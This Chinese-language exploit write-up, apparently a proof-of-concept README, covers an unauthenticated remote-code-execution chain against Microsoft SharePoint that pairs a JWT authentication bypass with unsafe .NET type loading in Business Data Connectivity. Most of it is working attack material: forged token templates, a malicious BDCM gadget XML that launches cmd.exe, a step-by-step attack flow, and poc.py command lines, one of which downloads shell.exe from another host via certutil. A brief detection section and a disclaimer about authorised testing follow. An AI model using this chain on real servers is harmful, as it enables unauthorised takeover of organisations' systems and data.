
利用 JWT 身份验证绕过与不安全的 .NET 类型实例化相结合,在 Microsoft SharePoint 上实现未认证 RCE 的漏洞利用链,从而以服务账户身份执行代码。
Microsoft SharePoint Server 上的未认证 RCE。无需任何凭据。
Stephen Fewer(Rapid7)在 Pwn2Own Berlin 2026 上演示了 CVE-2026-55040。Rapid7 随后在后续研究中发现了 CVE-2026-63520,VulnCheck 则独立发现了一条替代 gadget 链。这两个漏洞组合在一起,可让您对互联网上任何未打补丁的 SharePoint 实现未认证远程代码执行。
CISA 在 PoC 发布后数小时内就发布了警报。该漏洞正在被野外利用。
两个漏洞,一条链:
| CVE | 类型 | CVSS | 破坏内容 |
|---|
| CVE-2026-55040 | JWT 认证绕过 | 9.1 | SharePoint 的 S2S 令牌验证存在四个独立弱点。将它们串联起来,您就可以为任何用户伪造有效的 JWT——包括站点管理员——而无需知道其密码。 |
| CVE-2026-63520 | 不安全的 .NET 类型实例化 → RCE | 8.1 | Business Data Connectivity (BDC) 从上传的 XML 中解析任意 .NET 类型名称,且没有任何白名单。将其指向 ObjectDataProvider,您就能获得 Process.Start()。 |
单独来看,这两个漏洞都不够有趣。CVE-2026-63520 需要认证。CVE-2026-55040 为您提供认证。两者结合:以 SharePoint 服务账户身份实现未认证 RCE。
SharePoint 使用嵌套 JWT 进行服务器到服务器(S2S)认证。外部令牌携带用户身份,内部“actor 令牌”代表调用应用程序。SPJsonWebSecurityTokenHandlerV2.ValidateToken() 中的四个弱点使整个机制崩溃:
弱点 1——签名验证被关闭。 验证器设置 RequireSignedTokens = false。外部令牌接受 alg: none。无需签名。
弱点 2——x5t 解析不进行验证。 actor 令牌的签名密钥通过查找证书存储区中的 x5t(证书指纹)标头来解析。SharePoint 从不检查 actor 令牌的签名是否实际匹配该密钥。
弱点 3——颁发者验证接受未知证书。 如果签名证书不在 TrustedSecurityTokenServices 集合中,ValidateIssuer() 也会通过。SharePoint 自己的 STS 证书并未注册在那里。因此,通过 x5t 引用它会无条件通过颁发者验证。
弱点 4——非加密签名检查。 GetTokenSignature() 要求非空字符串,但不进行任何加密验证。任何值都可以。AAAA 也可以。
STS 证书是公开的。您可以从 /_layouts/15/metadata/json/1——一个未认证端点——获取它,计算 SHA-1 指纹,然后您就拥有了所需的一切。
外部令牌(携带用户身份):
// 标头
{"alg": "none", "typ": "JWT"}
// 负载
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<目标 SID 或 UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<内部 JWT>"
}
// 签名:空(alg:none)
内部 actor 令牌(代表“应用程序”):
// 标头
{"alg": "RS256", "typ": "JWT", "x5t": "<STS 证书指纹>"}
// 负载
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// 签名:"AAAA"(字面上任何非空内容)
三种选择身份的方式:
| 模式 | nameid | nii | 您需要什么 |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | 域 SID(通过 SMB 空会话)+ RID 暴力枚举 |
| UPN | upn_bypass + upn 声明 | urn:office:idp:activedirectory | 有效的 UPN(例如 [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | 无需任何内容。访问受限,但足以用于某些链。 |
SharePoint 的 Business Data Connectivity 服务允许管理员通过 BDC 模型 XML 文件(.bdcm)定义外部数据源。这些模型指定了 BDC 在运行时实例化的 .NET 类型。
问题出在 DbTypeReflector.ResolveDotNetType() 中:
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // GAC 中的任何类型
长度少于 15 个字符的类型名称会通过安全解析器。更长的名称则直接调用 Type.GetType()——它会从全局程序集缓存(GAC)中解析任何程序集限定类型名称。没有白名单。没有黑名单。攻击者通过 BDCM XML 控制 abstractTypeName。
我们使用来自 PresentationFramework 的 System.Windows.Data.ObjectDataProvider。当您设置其 ObjectInstance 属性时,它会在该实例上调用 MethodName。设置 MethodName = "Start" 和 ObjectInstance = System.Diagnostics.Process 并附带精心构造的 StartInfo,BDC 的属性设置器反射就会完成其余工作:
ObjectDataProvider 创建
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ 属性设置器触发 QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
承载此内容的 BDCM XML:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck 记录了一条使用 System.Web.UI.LosFormatter 通过 DotNetAssembly LobSystem 进行 TypeConfuseDelegate 反序列化的替代链。多种 gadget 均可使用——底层原语是不受限制的类型实例化。
攻击者 SharePoint 服务器
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── STS 证书 (x5t + realm) ─────────│ (未认证)
│ │
│── SMB 空会话到 DC ──────────────────────▶ 域控制器
│◀── 域 SID ────────────────────────│
│ │
│── 伪造 JWT (alg:none + AAAA 签名) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040:以管理员身份认证
│ │
│── POST /_api/web/lists ────────────▶│ 创建 BDC 目录
│── POST .../Files/add(evil.bdcm) ──▶│ 上传 gadget 链
│── POST /_vti_bin/client.svc/ ──────▶│ 触发 ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520:Process.Start()
│ │ → cmd.exe /c <payload>
│ │ → 以 SP 服务账户运行
六个步骤:
获取 STS 证书。 访问 /_layouts/15/metadata/json/1。无需认证。从 keys[0].keyValue.value 中提取 X.509 证书,进行 SHA-1 哈希,然后 base64url 编码。这就是您的 x5t。issuer 字段为您提供 realm。
找到站点管理员。 通过 SMB 空会话连接到域控制器,使用 LSARPC LsarQueryInformationPolicy 获取域 SID,然后迭代 RID(500、1000-10000),为每个 RID 伪造 JWT,直到 /_api/web/currentuser 返回 IsSiteAdmin: true。或者直接提供已知的 UPN。
伪造 JWT。 外部:alg:none,nameid = 管理员 SID,actortoken = 内部 JWT。内部:alg:RS256,x5t = STS 指纹,签名 = AAAA。Base64url 编码,用点号连接。完成。
获取表单摘要。 使用伪造的 Bearer 令牌 POST /_api/contextinfo。SharePoint 会为您提供用于写操作的 FormDigestValue。
上传 BDCM。 创建 BusinessDataMetadataCatalog 库,上传包含 ObjectDataProvider gadget 链的恶意 .bdcm XML。
触发。 使用解析 BDC 实体的请求 POST /_vti_bin/client.svc/ProcessQuery。SharePoint 从 BDCM 实例化类型,通过反射设置属性,ObjectDataProvider 触发 Process.Start()。代码以 SharePoint 服务账户身份运行。
| 产品 | 低于以下版本存在漏洞 | 补丁 | KB |
|---|---|---|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | 2026 年 8 月 CU | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | 2026 年 8 月 SU | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | 2026 年 8 月 SU | - |
2026 年 8 月累积更新添加了 ValidateSafeBcsType(),以限制 BDC 可以实例化的 .NET 类型。JWT 修复添加了正确的签名验证,并将 STS 证书注册到受信任令牌服务集合中。
SharePoint 2016 的主流支持已于 2026 年结束。没有扩展支持的组织可能无法收到此修复。
安装依赖项:
pip install requests
pip install impacket # 仅 --domain-ip 自动 SID 发现需要
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
该脚本将:
x5t 和 realmpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
您应该看到 Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]。这确认 JWT 绕过有效,并且您拥有管理员级别的访问权限。
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
需要关注的事项:
alg: none 的 JWT 访问 SharePoint 端点。合法的 S2S 令牌始终使用 RS256。/_layouts/15/metadata/json/1 的请求 后跟来自同一源 IP 的认证 API 调用。元数据端点是公开的,但侦察后跟管理员级访问是可疑的。.bdcm 文件 出现在 BusinessDataMetadataCatalog 中。大多数 SharePoint 部署根本不使用 BDC。任何 BDCM 上传都值得调查。ProcessQuery 请求,尤其是实体类型名称中包含 ObjectDataProvider 或 LosFormatter 的请求。w3wp.exe(SharePoint 应用程序池)派生的进程。cmd.exe、powershell.exe、certutil.exe 作为工作进程的子进程是典型指标。仅用于授权的安全测试。在对任何您不拥有的系统运行此工具之前,请获得书面许可。